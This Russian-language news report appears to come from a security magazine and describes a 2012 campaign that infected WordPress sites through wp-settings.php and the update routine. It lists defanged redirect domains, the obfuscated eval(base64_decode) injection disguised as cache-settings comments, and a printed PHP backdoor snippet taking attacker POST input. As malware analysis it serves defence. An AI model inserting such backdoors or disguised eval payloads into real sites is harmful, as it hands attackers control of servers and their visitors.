Хакер #305. Многошаговые SQL-инъекции
Более 1000 блогов на платформе WordPress уже инфицированы зловредом, который заранее внедрился в скрипт автоматического обновления wp-admin/includes/update.php. Атаку обнаружил Денис Синегубко из компании Unmask Parasites.
Поскольку атака началась в районе 20 апреля, перед выходом новой версии WordPress 3.3.2, к настоящему моменту функцией автоматического обновления воспользовалось большое количество админов. Многие из них, таким образом, добавили в свои блоги вредоносный код.
Инфицированные сайты осуществляют редирект по следующим адресам:
hxxp://berega .in/?site=<site id>&q=<search query>&searchEngine=<engine id> hxxp://zizigoba .in/?site=<site id>&q=<search query>&searchEngine=<engine id> hxxp://vivizaza .be/?site=<site id>8&q=<search query>&searchEngine=<engine id>
Затем пользователей перенаправляют по URL вроде таких:
hxxp://riotorio .com/search/?q=<search query> hxxp://lazgosearch .com/search?_t=1&q=<search query> http://gabazasearch .com/?_t=1&q=<search query>
В итоге, злоумышленники осуществляют монетизацию трафика с помощью рекламных программ с оплатой за клики.
Атака проведена путём внедрения в файл wp-settings.php дополнительного кода (см. расшифровку):
// For an advanced caching plugin to use. Uses a static drop-in because you would only want one. // Start cache settings eval(base64_decode('...long unreadable string here...')); // Finish cache settings // Start cache settings // Finish cache settings
В коде есть несколько интересных особенностей. Например, он устанавливает cookie и перенаправляет пользователей только в том случае, если cookie отсутствует. Более того, он отправляет IP-адрес пользователя на удалённый сервер, чтобы блокировать редирект для этого IP в будущем. Всё это сделано для скрытия атаки путём затруднения её повторения.
Есть фрагмент, который выполняет функцию бэкдора, так что злоумышленники могут позже модифицировать код на каждом заражённом сервере.
if (isset($_REQUEST['cadv']) && isset($_REQUEST['gadv'])) { $c = $_POST['cadv']; $c = str_replace("\\\\", "\\", $c); $g = $_POST['gadv']; $g = str_replace("\\\"", "\"", $g); $r = preg_replace("$c", $g, 'sss 4'); die(); }
Кроме wp-settings.php, модификации подвергается функция wp_update_core в файле wp-admin/includes/update.php. Расшифрованный код см. здесь. Именно она отвечает за осуществление автоматического обновления WordPress.